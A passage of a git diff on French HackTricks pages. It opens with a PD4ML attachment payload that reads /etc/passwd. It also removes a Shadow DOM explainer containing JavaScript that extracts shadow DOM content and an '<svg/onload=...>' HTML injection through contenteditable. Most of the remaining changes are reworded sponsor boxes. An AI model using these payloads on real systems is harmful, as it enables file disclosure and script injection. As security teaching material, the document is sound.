<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||||||
|
@ -182,14 +185,14 @@ La capture de la **réponse PDF** avec Burp devrait également **montrer la piè
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,82 +2,31 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Informations de base
|
**Consultez ce blog : [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** et ce **défi CTF : [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
|
||||||
|
|
||||||
Le Shadow DOM fait partie de la suite de fonctionnalités [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web\_Components), qui vise à permettre aux développeurs JS de créer des éléments personnalisés réutilisables avec leur fonctionnalité encapsulée loin du reste du code du site web.
|
|
||||||
|
|
||||||
Essentiellement, vous pouvez utiliser le Shadow DOM pour **isoler le HTML et le CSS de votre composant du reste de la page web**. Par exemple, si vous créez des identifiants d'éléments dans un shadow DOM, ils **ne seront pas en conflit avec les identifiants d'éléments dans le DOM parent**. Tous les sélecteurs CSS que vous utilisez dans votre shadow DOM s'appliqueront uniquement dans le shadow DOM et non au DOM parent, et tous les sélecteurs que vous utilisez dans le parent ne pénétreront pas dans le shadow DOM.
|
|
||||||
```js
|
|
||||||
// creating a shadow DOM
|
|
||||||
let $element = document.createElement("div");
|
|
||||||
$shadowDomRef = $element.attachShadow({ mode: "open" }); // open or closed
|
|
||||||
```
|
|
||||||
Normalement, lorsque vous attachez un **"open" shadow DOM à un élément**, vous pouvez obtenir une référence au shadow DOM avec **`$element.shadowRoot`**. Cependant, si le shadow DOM est attaché en mode **"closed"**, vous **ne pouvez pas obtenir de référence** de cette manière. Même après avoir lu toute la documentation pour développeurs que j'ai pu trouver, je ne suis toujours pas tout à fait clair sur le but du mode closed. [Selon Google](https://developers.google.com/web/fundamentals/web-components/shadowdom) :
|
|
||||||
|
|
||||||
> Il existe une autre variante de shadow DOM appelée mode "closed". Lorsque vous créez un arbre shadow **closed**, **le JavaScript extérieur ne pourra pas accéder au DOM interne de votre composant**. Cela est similaire à la façon dont fonctionnent les éléments natifs comme `<video>`. Le JavaScript ne peut pas accéder au shadow DOM de `<video>` car le navigateur l'implémente en utilisant une racine shadow en mode closed.
|
|
||||||
|
|
||||||
Cependant, ils déclarent également :
|
|
||||||
|
|
||||||
> Les racines shadow closed ne sont pas très utiles. Certains développeurs verront le mode closed comme une **fonctionnalité de sécurité artificielle**. Mais soyons clairs, ce **n'est pas** une fonctionnalité de sécurité.
|
|
||||||
|
|
||||||
## Accéder au Shadow DOM
|
|
||||||
|
|
||||||
### window.find() et sélections de texte <a href="#introducing-windowfind-and-text-selections" id="introducing-windowfind-and-text-selections"></a>
|
|
||||||
|
|
||||||
La fonction **`window.find("search_text")` pénètre à l'intérieur d'un shadow DOM**. Cette fonction a effectivement la même fonctionnalité que ctrl-F sur une page web.
|
|
||||||
|
|
||||||
Il est possible d'appeler **`document.execCommand("SelectAll")`** pour étendre la sélection autant que possible puis d'appeler **`window.getSelection()`** pour **retourner le contenu** du texte sélectionné à l'intérieur du shadow DOM.
|
|
||||||
|
|
||||||
Dans **firefox**, vous pouvez utiliser `getSelection()` qui retourne un objet [Selection](https://developer.mozilla.org/en-US/docs/Web/API/Selection), où `anchorElement` est une **référence à un élément dans le shadow DOM**. Ainsi, nous pouvons exfiltrer le contenu du shadow DOM comme suit :
|
|
||||||
```js
|
|
||||||
getSelection().anchorNode.parentNode.parentNode.parentNode.innerHTML
|
|
||||||
```
|
|
||||||
Mais cela ne fonctionne pas dans Chromium.
|
|
||||||
|
|
||||||
### contenteditable ou injection CSS <a href="#contenteditable-or-css-injection" id="contenteditable-or-css-injection"></a>
|
|
||||||
|
|
||||||
Une manière dont nous pourrions interagir avec le shadow DOM est si nous avons une **injection HTML ou JS à l'intérieur de celui-ci**. Il existe des situations intéressantes où vous pouvez obtenir une injection au sein d'un shadow DOM alors que cela ne serait pas possible sur une page crossorigin normale.
|
|
||||||
|
|
||||||
Un exemple est si vous avez des **éléments avec l'attribut `contenteditable`**. C'est un attribut HTML déprécié et peu utilisé qui déclare que **le contenu de cet élément peut être édité par l'utilisateur**. Nous pouvons utiliser des sélections avec l'API **`document.execCommand`** pour interagir avec un élément contenteditable et obtenir une injection HTML !
|
|
||||||
```js
|
|
||||||
find('selection within contenteditable');
|
|
||||||
|
|
||||||
document.execCommand('insertHTML',false,'<svg/onload=console.log(this.parentElement.outerHTML)>')
|
|
||||||
```
|
|
||||||
Peut-être encore plus intéressant, **`contenteditable`** peut être déclaré sur n'importe quel élément dans chromium en appliquant une **propriété CSS obsolète : `-webkit-user-modify:read-write`**
|
|
||||||
|
|
||||||
Cela nous permet de **transformer une injection CSS/style en une injection HTML**, en ajoutant la propriété CSS à un élément, puis en utilisant la commande `insertHTML`.
|
|
||||||
|
|
||||||
## CTF
|
|
||||||
|
|
||||||
Consultez ce writeup où cette technique a été utilisée comme défi CTF : [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)
|
|
||||||
|
|
||||||
## Références
|
|
||||||
|
|
||||||
* [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue